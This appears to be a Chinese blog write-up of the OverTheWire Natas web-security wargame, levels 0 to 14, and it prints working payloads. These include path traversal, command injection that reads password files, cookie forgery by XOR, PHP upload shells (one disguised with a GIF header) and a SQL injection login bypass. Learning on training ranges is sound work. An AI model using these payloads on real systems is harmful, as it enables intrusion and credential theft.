Wargames学习笔记--Natas

靶场链接:https://overthewire.org/wargames/natas/natas0.html

Level 0


按照题目的提示登录web页面,查看源码里获得下一级密码

Level 0 --> Level 1


登录natas1
提示禁用了右键,浏览器里选开发者选项查源码就可以了

Level 1 --> Level 2


登录natas2
页面写什么都没有,看了请求头之类的,确实什么都没有,发现源码里有一个奇怪的地方

<img src="files/pixel.png">

显示这个web有一个目录/files,访问files目录后里面除了pixel.png还有一个文本里面有下一级密码

[PARENTDIR]	Parent Directory	 	-	 
[IMG]	pixel.png	2016-12-15 16:07	303	 
[TXT]	users.txt	2016-12-20 05:15	145	 

Level 2 --> Level 3


登录natas3
源码中提示

<!-- No more information leaks!! Not even Google will find it this time... -->

谷歌都找不到,意味着限制爬虫的robots.txt中有内容
访问http://natas3.natas.labs.overthewire.org/robots.txt
回显了一个目录,访问目录里面就有下一级密码

http://natas3.natas.labs.overthewire.org//s3cr3t/

[PARENTDIR]	Parent Directory	 	-	 
[TXT]	users.txt	2016-12-20 05:15	40	 

Level 3 --> Level 4


登录natas4
提示很明显

You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

需要改请求头的Referer参数为http://natas5.natas.labs.overthewire.org/
使用burpsuit完成即可获得密码

Level 4 --> Level 5


登录natas5
提示 Access disallowed. You are not logged in
继续用burpsuit,发现cookie里有一项 loggedin=0这里改成1提交就可以获得下一级密码

Level 5 --> Level 6


登录natas6
页面有显示源码按钮,看到提示的源码

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

如果输入的内容和已有的serect内容一致就会返回natas7的密码,看到包涵了一个文件secret.inc,直接访问这个文件就会发现serect的实际内容,提交即可

Level 6 --> Level 7


登录natas7
有两个按钮,触发后看到链接的变化

http://natas7.natas.labs.overthewire.org/index.php?page=home
http://natas7.natas.labs.overthewire.org/index.php?page=about

源码里有提示

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

构造路径穿越就可以访问到natas8的密码

http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../etc/natas_webpass/natas8

Level 7 --> Level 8


登录natas8
还是源码审计

<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

就是把endodedSecret的内容按照顺序执行 hex2bin --> strrev --> base64_decode就可以获得secret来提交获得密码

<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";

echo base64_decode(strrev(hex2bin($encodedSecret)))
?>

Level 8 --> Level 9


登录natas9
继续源码审计

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

就是把用户输入的内容执行了grep -i $key dictionary.txt
这里可以用到分割符“|”来进行额外的命令执行,构造内容直接获取密码

asdasda | cat /etc/natas_webpass/natas10

Level 9 --> Level 10


登录natas10
源码审计

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

和上一题很相似,只是过滤了一部分命令分隔符,但是grep本身也具有读取文本的功能,构造内容读取密码

[A-Z][a-z] /etc/natas_webpass/natas11

Level 10 --> Level 11


登录natas11用户
代码审计老长了

<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);
?>

首先这里终极目标是把“showpassword”的值改为“yes”
xor_encrypt()是一个异或算法,其中key的值未知
loadData()是读取cookie更新data值的一个函数
saveData()是一个将data值转换为cookie的函数
先由data xor key得到cookie可知,用data xor cookie可以求得key,cookie的值可以用浏览器,burpsuit、charles等等方法看到
稍稍修改一下xor_encrypt()即可

<?php
$cookie='ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';

$decode_cookie = base64_decode($cookie);

function xor_encrypt($in) {
    $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
    $key = json_encode($defaultdata);
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

$s_key = xor_encrypt($decode_cookie);

echo $s_key
?>

执行得到key为qw8J
得到key以后就需要把defaultdata中“showpassword”的值改为“yes”重新生成cookie,利用远程序稍加修改即可实现

<?php

$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = 'qw8J';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)]; //把传入的内容和key按位异或
    }

    return $outText;
}

function saveData($d) { 
    echo (base64_encode(xor_encrypt(json_encode($d))));
}

$my_cookie = saveData($defaultdata);

echo $my_cookie

?>

最后把重构好的cookie在打开页面的时候用burpsuit拦截替换data=后面的值后转发得到下一级密码
在这里插入图片描述

Level 11 --> Level 12


登录natas12用户
还是代码审计,有一个上传功能

<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

看了半天其实就是随机了文件名,对扩展名和内容都没有审计,直接用php查看/etc/natas_webpass/natas13,用返回的上传路径连接去查看就可以了。。。

<?php
    $a = system('cat /etc/natas_webpass/natas13');echo $a;
?>

Level 12 --> Level 13


登录natas13用户
和上一题源码很像

<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

这里的关键函数是exif_imagetype()

exif_imagetype() 读取一个图像的第一个字节并检查其签名

所以我们在上一题的代码前面加上图像的识别头GIF89a?即可

GIF89a?<?php
    $a = system('cat /etc/natas_webpass/natas14');echo $a;
?>

Level 13 --> Level 14


登录natas14用户
代码审计

<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>

输入用户名和密码没有任何过滤,而且有一个get的参数debug可以看到执行的语句非常和谐,构造一个payload看看回显

http://natas14.natas.labs.overthewire.org/?username=1&password=1&debug=1

回显

Executing query: SELECT * from users where username="1" and password="1"
Access denied!

这里只要用一个"来闭合用户名用or构造一个永真的值然后用#结尾即可
构造后的username为1" or 1#,password那部分可以为空。提交即可获得下一级密码

Level 14 --> Level 15


因数据库水平有限,笔记待更

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值